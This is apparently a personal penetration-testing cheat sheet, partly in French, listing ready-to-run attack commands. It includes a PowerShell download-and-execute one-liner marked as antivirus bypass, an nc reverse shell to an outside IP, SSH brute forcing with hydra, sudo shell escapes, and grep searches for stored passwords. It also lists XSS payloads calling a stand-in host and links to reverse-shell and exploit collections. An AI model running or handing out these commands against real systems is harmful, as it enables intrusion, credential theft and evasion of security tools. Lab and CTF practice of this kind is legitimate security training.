tools

few scripts and useful commands

scan

• netdiscover -r 192.168.10.130/24
• nmap -A -sS 192.168.10.135
• nikto -h http://192.168.10.135/site
• wapiti http://192.168.10.134/site
• wordpress : wpscan --url http://192.168.10.135/site

windows

run ps1 script in memory (bypass antivirus) :

• powershell IEX (New-Object Net.WebClient).DownloadString('http://ip:85/test.ps1')
• C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe ping ip

bruteforce

• hydra -l user -P wordlist.txt 192.168.10.130 ssh

generate wordlist from a password with 2 missing characters :

• crunch 7 7 -t passwo^% >> wordlist.txt

privesc

• https://github.com/sleventyeleven/linuxprivchecker/blob/master/linuxprivchecker.py
• find / -perm -u=s -type f 2>/dev/null
• find / -perm +6000 2> /dev/null
• https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/
• Get a better shell if msf payload is weak (ex: python/reverse_shell) : http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
• List rights : sudo -l
• Example with /bin/ed : sudo /bin/ed => !/bin/bash => id
• https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
• ps -ax
• https://gtfobins.github.io/

shell

LFI

• /bin/nc 192.168.91.1 1234 -e /bin/sh /bin
• https://resources.infosecinstitute.com/local-file-inclusion-code-execution/#gref
• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

post-exploitation

• grep -air --include=*.txt ou .json ou .sh password ou mot de passe
• grep -air --include=*.txt "mot de passe"
• grep -air --include=*pass* ""
• https://matthew-brett.github.io/curious-git/reading_git_objects.html

xss

• " style="background-image: url(http://blabla.com)
• https://developer.mozilla.org/fr/docs/Web/HTTP/Basics_of_HTTP/Data_URIs
• <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>
• <object data=http://blabla.com></object>
• data:text/javascript,alert(0)
• data:text/javascript;base64,YWxlcnQoMCk=